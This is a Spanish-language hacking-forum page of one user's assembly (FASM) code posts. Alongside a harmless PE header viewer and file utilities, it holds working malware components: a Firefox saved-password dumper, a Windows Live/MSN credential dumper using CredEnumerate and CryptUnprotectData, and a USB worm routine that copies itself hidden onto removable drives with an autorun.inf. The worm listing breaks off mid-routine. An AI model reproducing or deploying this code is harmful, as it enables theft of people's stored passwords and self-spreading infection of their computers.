elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 ... 68
441  Programación / ASM / Re: Programación en lenguaje ensamblador en: 1 Junio 2009, 19:55 pm
Porque no es chincheta?

Saludos!
Por una estupides que yo hice :xD
442  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:49 am
Código
  1. format pe console
  2. include 'win32ax.inc'
  3. .data
  4. Espacio equ 13,10,0   ;Para pasar a una nueva linea.
  5. RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
  6. PunteroPEheader dd ? ; Puntero de el Pe header
  7. Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
  8.     db '                      =         PE visor by YST         =',13,10
  9.     db '                      ===================================',13,10,0
  10.  
  11. LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
  12.            db '                      =           General               =',13,10
  13.            db '                      ===================================',13,10,0
  14.  
  15. LogoSecciones db '                      ===================================',13,10
  16.              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
  17.              db '                      ===================================',13,10,0
  18.  
  19. LogoExport    db '                      ===================================',13,10
  20.              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
  21.              db '                      ===================================',13,10,0
  22. LogoImport    db '                      ===================================',13,10
  23.              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
  24.              db '                      ===================================',13,10,0
  25. FHandle dd ?  ; MZ de el archivo
  26. .code
  27. start:
  28. invoke system,"color 3" ;Ponemos el color de texto
  29. invoke printf,Logo      ;Imprimimos el logo
  30. invoke printf,Espacio   ;Ponemos dos nuevas lineas.
  31. invoke printf,Espacio
  32.  
  33. invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
  34. invoke printf,Espacio
  35. invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo
  36.  
  37. invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
  38. .if eax = 0     ; Si hay error
  39. invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
  40. invoke printf,RutaArchivo
  41. invoke ExitProcess,0 ; Nos salimos.
  42. .else ; De lo contrario
  43. .if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
  44. mov [FHandle],eax      ; Guardamos el MZ en FHandle
  45. .else  ; De lo contrario
  46. invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
  47. invoke ExitProcess,0 ; Nos salimos.
  48. .endif ; Terminamos los if
  49. .endif
  50.  
  51. add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
  52. .if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
  53. mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
  54. .else  ; De lo contrario
  55. invoke printf,"No se a detectado PE header." ;Mostramos el error .
  56. invoke ExitProcess,0 ; Nos salimos.
  57. .endif ; Terminamos los if
  58. .endif
  59.  
  60. invoke printf,Espacio ; Pasamos a la siguiente linea.
  61. invoke printf,Espacio ; Pasamos a la siguiente linea.
  62. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
  63. invoke printf,Espacio ; Pasamos a la siguiente linea.
  64. invoke printf,Espacio ; Pasamos a la siguiente linea.
  65.  
  66. mov ebx,[FHandle]
  67. mov ebx,dword[ebx+03ch]
  68. invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
  69. invoke printf,Espacio ; Pasamos a la siguiente linea.
  70.  
  71. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
  72. invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
  73. invoke printf,Espacio ; Pasamos a la siguiente linea.
  74.  
  75.  
  76.  
  77. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
  78. invoke printf,Espacio ; Pasamos a la siguiente linea.
  79.  
  80.  
  81. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
  82. invoke printf,Espacio ; Pasamos a la siguiente linea.
  83.  
  84.  
  85. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
  86. invoke printf,Espacio ; Pasamos a la siguiente linea.
  87.  
  88.  
  89. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
  90. invoke printf,Espacio ; Pasamos a la siguiente linea.
  91.  
  92. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
  93. invoke printf,Espacio ; Pasamos a la siguiente linea.
  94.  
  95.  
  96. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
  97. invoke printf,Espacio ; Pasamos a la siguiente linea.
  98.  
  99. invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
  100. .if dword[ebx+5Ch] = 2h  ;SI es GUI
  101. invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
  102. .else             ; De lo contrario es CUI (Consola)
  103. invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
  104. .endif        ;Terminamos el if
  105. invoke printf,Espacio ; Pasamos a la siguiente linea.
  106. stdcall EOFExtraDataExtract,[FHandle]
  107. invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
  108. invoke printf,Espacio ; Pasamos a la siguiente linea.
  109.  
  110. invoke printf,Espacio ; Pasamos a la siguiente linea.
  111. invoke printf,Espacio ; Pasamos a la siguiente linea.
  112. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
  113. invoke printf,Espacio ; Pasamos a la siguiente linea.
  114. invoke printf,Espacio ; Pasamos a la siguiente linea.
  115.  
  116. mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
  117. movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.
  118.  
  119.  
  120.  
  121. invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
  122. invoke printf,Espacio ; Pasamos a la siguiente linea.
  123. invoke printf,Espacio ; Pasamos a la siguiente linea.
  124.  
  125. .bucleImprimeSecciones: ; Bucle que imprime secciones
  126. dec ebx    ;Les restamos uno a ebx
  127. mov eax,28h       ;Hacemos que eax sea igual a $28
  128. mul ebx           ;Multiplicamos ebx
  129. add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
  130. add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
  131. mov edi,eax       ;Guardamos eax en edi
  132. invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
  133. invoke printf,Espacio ; Pasamos a la siguiente linea.
  134. invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
  135. invoke printf,Espacio  ; Pasamos a la siguiente linea
  136. invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
  137. invoke printf,Espacio  ; Pasamos a la siguiente linea
  138. invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
  139. invoke printf,Espacio  ; Pasamos a la siguiente linea
  140. invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
  141. invoke printf,Espacio  ; Pasamos a la siguiente linea
  142. invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
  143. invoke printf,Espacio  ; Pasamos a la siguiente linea
  144. invoke printf,Espacio  ; Pasamos a la siguiente linea
  145. invoke printf,Espacio  ; Pasamos a la siguiente linea
  146.  
  147. cmp ebx,0
  148. jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
  149.  
  150. invoke printf,Espacio ; Pasamos a la siguiente linea.
  151. invoke printf,Espacio ; Pasamos a la siguiente linea.
  152. invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
  153. invoke printf,Espacio ; Pasamos a la siguiente linea.
  154. invoke printf,Espacio ; Pasamos a la siguiente linea.
  155.  
  156. .if dword[esi+078h] = 0    ; Si no hay export data
  157. invoke printf,"[+]No se exporta ninguna funcion."
  158. invoke printf,Espacio ; Pasamos a la siguiente linea.
  159. .else
  160. mov ebx,dword[esi+078h]
  161. add ebx,[FHandle]
  162. invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
  163. invoke printf,Espacio ; Pasamos a la siguiente linea.          +
  164. mov edi,dword[ebx+20h]   ;AddressOfNames
  165. add edi,[FHandle]
  166. mov ebx,dword[ebx+18h]   ;Numero de exports
  167. invoke printf,"Funciones exportadas: "
  168.  invoke printf,Espacio
  169. .bucleExportData:           ;Bucle para imprimir la export data
  170. dec ebx
  171. mov        eax, [edi + ebx * 4]
  172. add eax,[FHandle]
  173. invoke printf,"[+]%s",eax
  174.  invoke printf,Espacio
  175.  cmp ebx,0
  176.  jne .bucleExportData  ;Si no se an imprimido todas seguimos
  177. .endif
  178. invoke printf,LogoImport
  179. invoke printf,Espacio
  180. invoke printf,Espacio
  181.  mov eax,[PunteroPEheader]
  182. .if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
  183. invoke printf,"[+]No importa ninguna funcion."
  184. .else;De lo contrario
  185. stdcall Sacaimport,[FHandle]
  186. .endif
  187. invoke system,"pause"
  188. invoke ExitProcess,0
  189.  
  190. proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
  191. push esi  ebx
  192. mov eax,[FHandle]
  193. mov esi,dword[eax+03ch] ;Offset to start of PE header
  194. add esi,eax
  195. movzx ebx, word[esi+06h] ;Number Of Sections
  196. dec ebx
  197. mov eax,28h
  198. mul ebx
  199. add esi,0xf8 ;START OF SECTION TABLE
  200. add esi,eax
  201. mov eax,dword[esi+10h] ;SizeOfRawData
  202. add eax,dword[esi+14h]  ;pointerToRawData
  203. pop ebx esi
  204. ret
  205. endp
  206. proc Sacaimport ,handle
  207. locals
  208. Export dd ?
  209. endl
  210. pushad
  211. mov eax,[handle]
  212. mov ebx,dword[eax+03ch]
  213. add ebx,eax
  214. mov ebx,dword[ebx+80h]
  215. add ebx,eax
  216. mov [Export],ebx
  217. .buclelib:
  218. mov ebx,[Export]
  219. mov edi,dword[ebx+0ch]
  220. cmp edi,0
  221. je .salir
  222. add edi,[handle]
  223. invoke printf,"- Funciones de %s: ",edi
  224. invoke printf,"%s",Espacio
  225. xor esi,esi
  226. mov esi,dword[ebx]
  227. add esi,[handle]
  228. mov edi,esi
  229. xor ebx,ebx
  230. .bucleapi:
  231. xor esi,esi
  232. mov esi,dword[edi+ebx]
  233. cmp esi,0
  234. je .otralib
  235. add esi,[handle]
  236. add esi,2h
  237. invoke printf," [*]%s",esi
  238. invoke printf,"%s",Espacio
  239. add ebx,04h
  240. jmp .bucleapi
  241. .otralib:
  242. add  [Export] ,14h
  243. jmp .buclelib
  244. .salir:
  245. popad
  246. ret
  247. endp
  248.  
  249. .end start
  250. section '.reloc' fixups data discardable
443  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:46 am
Código
  1. proc EOFExtraDataExtract,FHandle
  2. push esi  ebx
  3. mov eax,[FHandle]
  4. mov esi,dword[eax+03ch] ;Offset to start of PE header
  5. add esi,eax
  6. movzx ebx, word[esi+06h] ;Number Of Sections
  7. dec ebx
  8. mov eax,28h
  9. mul ebx
  10. add esi,0xf8 ;START OF SECTION TABLE
  11. add esi,eax
  12. mov eax,dword[esi+10h] ;SizeOfRawData
  13. add eax,dword[esi+14h]  ;pointerToRawData
  14. pop ebx esi
  15. ret
  16. endp
444  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:45 am
Código
  1. include 'win32ax.inc'
  2. INVALID_FILE_SIZE = 0xffffffff
  3. .code
  4. start:
  5. stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
  6. .if eax = 0
  7. invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
  8. .else
  9. invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
  10. .endif
  11. invoke ExitProcess,0
  12.  
  13.  
  14. proc ChangeEntryPoint,Path,NewEP:DWORD
  15. locals
  16. Handle dd ?
  17. Tamaño dd ?
  18. Emezeta dd ?
  19. cantidad dd ?
  20. endl
  21. push ebx
  22. invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
  23. cmp eax,INVALID_HANDLE_VALUE
  24. je .error
  25. mov [Handle],eax                                     ;Guardamos el handle
  26. invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
  27. cmp eax,INVALID_FILE_SIZE
  28. je .error
  29. mov [Tamaño], eax
  30. invoke  GlobalAlloc, GPTR, eax
  31. mov [Emezeta], eax
  32. invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
  33. cmp eax,TRUE
  34. jne .error
  35. invoke CloseHandle,[Handle]     ;Cerramos el handle
  36. cmp eax,NULL
  37. je .error
  38.  
  39. mov ebx,[Emezeta]
  40. cmp word[ebx],"MZ"
  41. jne .error
  42.  
  43. add ebx,dword[ebx+03ch]
  44. cmp word[ebx],"PE"
  45. jne .error
  46.  
  47. xor eax,eax
  48. mov eax,[NewEP]
  49. mov dword[ebx+28h],eax      ;Cambiamos el EP
  50.  
  51. invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
  52. cmp eax,INVALID_HANDLE_VALUE
  53. je .error
  54.               mov [Handle], eax
  55.  
  56.                ;Escibimos el archivo
  57.                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
  58.  
  59.                ; "Cerramos" el archivo
  60.                invoke CloseHandle,[Handle]
  61.  
  62. cmp eax,NULL
  63. je .error
  64. mov eax,1
  65. jmp .salir
  66. .error:
  67. xor eax,eax
  68. .salir:
  69. pop ebx
  70. ret
  71. endp
  72. .end start
445  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:42 am
Código
  1. format pe console
  2. entry start
  3. include 'win32ax.inc'
  4. sPath equ dword[ebx+4]
  5. Espacio equ 13,10
  6. .data
  7.  
  8. struct TSECItem
  9.    SECItemType     dd ?
  10.    SECItemData     dd ?
  11.    SECItemLen      dd ?
  12.    ends
  13.    url dd ?
  14.    valor dd ?
  15.  
  16. lvLibs0 dd ?
  17. Logo db '         =====================================================',13,10
  18.     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
  19.     db '         =====================================================',13,10,0
  20.  
  21. URL dd ?
  22. Campo dd ?
  23. tsec TSECItem
  24. tSecDec  TSECItem
  25. lvLibs7 dd ?
  26. lKeySlot dd ?
  27. P dd ?
  28. bUsados    dd ?
  29. hFile dd ?
  30. tamAr dd ?
  31. IB dd ?
  32. sFFPath  rb MAX_PATH+1
  33. sRet rb 260
  34. sRet2 rb 260
  35. comp dd ?
  36. .code
  37. start:
  38. invoke system,"color 03"
  39. invoke printf,"%s",Logo
  40. invoke SHGetSpecialFolderLocation,0,26h,ebx
  41. invoke LocalAlloc,40h,MAX_PATH+1
  42. mov dword[ebx+4] ,eax
  43. invoke SHGetPathFromIDList,dword[ebx],sPath
  44. invoke lstrcat,sPath,"\Mozilla Firefox\"
  45.  
  46.  
  47. stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
  48. stdcall Cargar,dword[ebx+4],"sqlite3.dll"
  49. stdcall Cargar,dword[ebx+4],"nspr4.dll"
  50. stdcall Cargar,dword[ebx+4],"plc4.dll"
  51. stdcall Cargar,dword[ebx+4],"plds4.dll"
  52. stdcall Cargar,dword[ebx+4],"nssutil3.dll"
  53. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  54. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  55.  
  56.  
  57. ;"nss3.dll"
  58. invoke LocalAlloc,40h,MAX_PATH+1
  59. mov [P],eax
  60. stdcall Concat,sPath, "nss3.dll",eax
  61. invoke LoadLibrary,[P]
  62. mov [lvLibs7],eax
  63. invoke LocalFree,[P]
  64. ;1A
  65. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  66. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  67. invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
  68.  
  69. invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
  70.  
  71. stdcall Zerar,sFFPath,MAX_PATH
  72.  
  73. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  74. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  75. invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
  76. invoke lstrcat,sFFPath,sRet
  77. invoke lstrcat,sFFPath,"\signons3.txt"
  78.  
  79. invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
  80. mov [hFile], eax
  81. invoke  GetFileSize, eax, 0
  82. mov [tamAr], eax
  83. invoke  GlobalAlloc, GPTR, eax
  84. mov [IB], eax
  85. invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
  86.  
  87. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  88. invoke SHGetPathFromIDList,dword[ebx],sRet2
  89. invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
  90. invoke lstrcat,sRet2  ,sRet
  91. ;lKeySlot
  92. invoke GetProcAddress,[lvLibs7], "NSS_Init"
  93. stdcall eax,sRet2
  94. .if eax = 0
  95. invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
  96. stdcall eax
  97.   mov [lKeySlot],eax
  98. .if eax <> 0
  99.    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
  100.  
  101.    stdcall eax,[lKeySlot],TRUE,0
  102. .if eax = 0
  103. xor edi,edi
  104. mov ebx,[IB]
  105. invoke printf,Espacio
  106. invoke printf,Espacio
  107. .bucle:
  108.  
  109. inc edi
  110. cmp edi, [tamAr]
  111. je salir
  112. inc ebx
  113. cmp byte[ebx],"."
  114. jne .bucle
  115. cmp byte[ebx+1],13
  116. jne .bucle
  117. cmp byte[ebx+2],10
  118. jne .bucle
  119. add ebx,3
  120. .if byte[ebx] <> 0
  121. mov [URL],ebx
  122. .bucle2:
  123. inc edi
  124. cmp edi, [tamAr]
  125. je salir
  126. inc ebx
  127. cmp byte[ebx],13
  128. jne .bucle2
  129. cmp byte[ebx+1],10
  130. jne .bucle2
  131. mov byte[ebx],0
  132. mov byte[ebx+1],0
  133. invoke printf,Espacio
  134. invoke printf,Espacio
  135. invoke printf,"WEB: %s",[URL]
  136. invoke printf,Espacio
  137. .campo:
  138. add ebx,2
  139. mov [Campo],ebx
  140. .bucle3:
  141. inc edi
  142. cmp edi, [tamAr]
  143. je salir
  144. inc ebx
  145. cmp byte[ebx],13
  146. jne .bucle3
  147. cmp byte[ebx+1],10
  148. jne .bucle3
  149. mov byte[ebx],0
  150. mov byte[ebx+1],0
  151. invoke printf,"Campo: %s",[Campo]
  152. invoke printf,Espacio
  153. add ebx,2
  154. mov [valor],ebx
  155. .bucle4:
  156. inc edi
  157. cmp edi, [tamAr]
  158. je salir
  159. inc ebx
  160. cmp byte[ebx],13
  161. jne .bucle4
  162. cmp byte[ebx+1],10
  163. jne .bucle4
  164. mov byte[ebx],0
  165. mov byte[ebx+1],0
  166. invoke lstrlen,[valor]
  167. mov [Campo],eax
  168.   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
  169. stdcall eax,0,  tsec, [valor], [Campo]
  170.   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
  171.  
  172. stdcall eax, tsec,tSecDec, 0
  173. invoke printf,"Datos: %s",[tSecDec.SECItemData]
  174. invoke printf,Espacio
  175. add ebx,2
  176. .if dword[ebx] = "http"
  177. sub ebx,2
  178. jmp .bucle
  179. .else
  180. sub ebx,2
  181. jmp .campo
  182. .endif
  183. .endif
  184. .endif
  185. .endif
  186. .endif
  187. .endif
  188. salir:
  189. invoke ExitProcess,0
  190.  
  191. proc Cargar, sPathL, libreria
  192. invoke LocalAlloc,40h,MAX_PATH+1
  193. mov [P],eax
  194. stdcall Concat,[sPathL],[libreria] ,eax
  195. invoke LoadLibrary,[P]
  196. invoke LocalFree,[P]
  197. ret
  198. endp
  199. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  200. mov esi,[@AdrSrc1]
  201. mov edi,[@AdrDest]
  202. .concat_src1:
  203. movsb
  204. cmp byte[esi],0
  205. jne .concat_src1
  206. mov esi,[@AdrSrc2]
  207. .concat_src2:
  208. movsb
  209. cmp byte[esi],0
  210. jne .concat_src2
  211. movsb
  212. ret
  213. endp
  214.  
  215. proc Zerar,Puntero,Cantidad
  216.  
  217.    push ecx
  218.    push ebx
  219.  
  220.              mov ecx,[Cantidad]
  221.                 mov ebx,[Puntero]
  222.                .bucle:
  223.  
  224.                mov byte[ebx+ecx],0
  225.                loop .bucle
  226.                mov byte[ebx],0
  227.                pop ebx
  228.                pop ecx
  229.                ret
  230. endp
  231.  
  232.   section '.idata' import data readable writeable
  233.   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
  234.   include 'api/kernel32.inc'
  235. include 'api/user32.inc'
  236. import msvcrt,printf,"printf",system,"system"
  237. include 'api/shell32.inc'
  238. section '.reloc' fixups data discardable
446  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:40 am
Código
  1. Espacio equ 13,10
  2. format pe console
  3. include 'win32ax.inc'
  4. entry start
  5. .data
  6. Logo db '         =====================================================',13,10
  7.     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
  8.     db '         =====================================================',13,10,0
  9. lCount dd ?
  10. lCred dd ?
  11. struct DATA_BLOB
  12.    cbData                 dd ?
  13.    pbData                 dd ?
  14. ends
  15. tBlobOut   DATA_BLOB
  16. tBlobIn     DATA_BLOB
  17. lmem dd ?
  18. acento rb 3
  19. .code
  20. start:
  21. invoke system,"color 03"
  22. invoke printf,Logo
  23. invoke printf,Espacio
  24. invoke printf,Espacio
  25. invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
  26. .if [lCount] = 0
  27.  
  28. invoke printf,"%s","Ninguna cuenta encontrada."
  29. jmp salir
  30. .else
  31. mov ebx, [lCred]
  32. .bucle:
  33. dec [lCount]
  34. mov eax, dword[ebx]
  35. mov edi,dword[eax+8]
  36. mov edx,dword[eax+24]
  37. mov esi,dword[eax+28]
  38.  
  39. mov  [tBlobIn.cbData],edx
  40.     mov  [tBlobIn.pbData] ,esi
  41.   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
  42.   .if     [tBlobIn.cbData] = 0
  43.   mov eax, dword[ebx]
  44. mov eax,dword[eax+48]
  45. invoke printf,"Mail: %s",eax
  46. invoke printf,Espacio
  47. invoke printf,Espacio
  48.   .else
  49.  
  50.   invoke LocalAlloc,GPTR,[tBlobIn.cbData];          
  51. mov [lmem],eax
  52. stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
  53.   invoke printf,"%s","Mail: "
  54.   mov eax, dword[ebx]
  55. mov eax,dword[eax+48]
  56. invoke printf,"%s",eax
  57. invoke printf,Espacio
  58. invoke CharToOem,"ñ",acento
  59. invoke printf,"Contrase"
  60. invoke printf ,"%s",acento
  61. invoke printf, "a: %s",[lmem]
  62. invoke printf,Espacio
  63. invoke printf,Espacio
  64. invoke LocalFree,[lmem]
  65. .endif
  66.  
  67. .if [lCount] = 0
  68. .else
  69. add ebx,4
  70. jmp .bucle
  71. .endif
  72.  
  73. .endif
  74. salir:
  75. invoke ExitProcess,0
  76. proc UniToAscii, ascii, unicode
  77. push esi
  78. push edi
  79.  mov esi, [unicode]
  80.  mov edi, [ascii]
  81.  .count:
  82.  .if byte[esi] <> 0
  83.      movsb
  84.      jmp .count
  85.  .endif
  86.  inc esi
  87.  .if byte[esi] = 0
  88.      jmp .exit
  89.  .endif
  90.  jmp .count
  91.  .exit:
  92.  
  93.  mov eax, edi
  94.  add eax, 2
  95. pop edi
  96. pop esi
  97.  ret
  98. endp
  99.   section '.idata' import data readable writeable
  100.   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
  101.   include 'api/kernel32.inc'
  102.  import crypt32,CryptUnprotectData,"CryptUnprotectData"
  103.  
  104. import advapi32,\
  105. CredEnumerate,'CredEnumerateA'
  106. include 'api/user32.inc'
  107. import msvcrt,printf,"printf",system,"system"
  108.  
  109. section '.reloc' fixups data discardable
447  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:36 am
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
  5. invoke MessageBox,0,eax,0,0
  6. invoke ExitProcess,0
  7. ;Descripcion: Esta función devuelve la extension de un archivo
  8. ; cRuta = Ruta del archivo
  9. ; by YST
  10. proc DetectaExtención,cRuta
  11. push ebx esi
  12. xchg eax,[cRuta]
  13. dec eax
  14. .bucle:
  15. inc eax
  16. cmp byte[eax],0
  17. jne .bucle
  18. inc eax
  19. .bucle2:
  20. dec eax
  21. cmp byte[eax],"."
  22. jne .bucle2
  23. xor esi,esi
  24. dec esi
  25. .bucle3:
  26. inc eax
  27. inc esi
  28. cmp byte[eax],0
  29. jne .bucle3
  30. push eax
  31. invoke GlobalAlloc,GPTR,esi
  32. xchg ebx,eax
  33. pop eax
  34. sub eax,esi
  35. stdcall cRtlMoveMemory,ebx,eax,esi
  36. xchg ebx,eax
  37. .salir:
  38. pop  esi ebx
  39. ret
  40. endp
  41. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  42. ; by YST
  43. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  44. push esi edi
  45. xchg edi,[cBuffer]
  46. xchg esi,[Cpuntero]
  47. .bucleb:
  48. dec [cCantidad]
  49. movsb
  50. cmp  [cCantidad],0
  51. jge .bucleb
  52. pop edi esi
  53. ret
  54. endp
  55. .end start
448  Programación / ASM / Re: Recopilación de mis codigos. en: 1 Junio 2009, 00:32 am
Esta en fasm para llamarlo se llama con
Código:
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0

Código
  1.     Autorun db '[autoRun]',13,10,\
  2. 'action=Open Files On Folder',13,10,\
  3. 'shellexecute=',0
  4. Autorun2 db 13,10,\
  5. 'UseAutoPlay=1',0  
  6. BufferUnidades rb 31
  7.  

Código
  1. proc InfeccionUSB
  2. locals
  3. Miruta dd ?
  4. Minombre dd ?
  5. MiRutaInfeccionaria dd ?
  6. MiAutorun dd ?
  7. RutaAutorun dd ?
  8. handleCreado dd ?
  9. tamaño dd ?
  10. bEscritos dd ?
  11. endl
  12. pushad
  13.  
  14. invoke GlobalAlloc,GPTR,MAX_PATH
  15.  mov [Miruta],eax
  16. invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
  17.  stdcall ConseguirNombre,[Miruta]
  18.  mov [Minombre],eax
  19.       .infinito:
  20.    invoke SleepEx,1000,FALSE
  21.       stdcall Zerar,BufferUnidades,30
  22. invoke GetLogicalDriveStringsA,30,BufferUnidades
  23.        mov ebx,BufferUnidades
  24.        .bucleDetectaExtraible:
  25. invoke GetDriveTypeA,ebx
  26.  
  27. .if eax = DRIVE_REMOVABLE
  28. .if word[ebx] = 'A:'
  29. .else
  30.      invoke GlobalAlloc,GPTR,MAX_PATH
  31. mov [MiRutaInfeccionaria],eax
  32.           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
  33.  
  34.     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
  35. invoke PathFileExistsA,[MiRutaInfeccionaria]
  36. .if eax = FALSE
  37.  
  38. invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
  39.                ;SetFileAttributes
  40.          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
  41.              invoke GlobalAlloc,GPTR,MAX_PATH
  42.              mov [MiAutorun] ,eax
  43.            invoke GlobalAlloc,GPTR,MAX_PATH
  44.            mov [RutaAutorun],eax
  45.              stdcall Concat,Autorun,[Minombre], [MiAutorun]
  46.                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
  47.                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
  48.  
  49.            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  50.                mov [handleCreado], eax
  51.            invoke lstrlenA,[MiAutorun]
  52.              mov [tamaño],eax
  53.      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
  54.  
  55.  
  56.            invoke CloseHandle, [handleCreado]
  57.               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
  58. invoke GlobalFree,[MiAutorun]
  59.  
  60. invoke GlobalFree,[RutaAutorun]
  61.                .endif
  62. invoke GlobalFree,[MiRutaInfeccionaria]
  63. .endif
  64. .endif
  65.  
  66. .if byte[ebx] = 0
  67.  
  68. invoke GlobalFree,[Miruta]
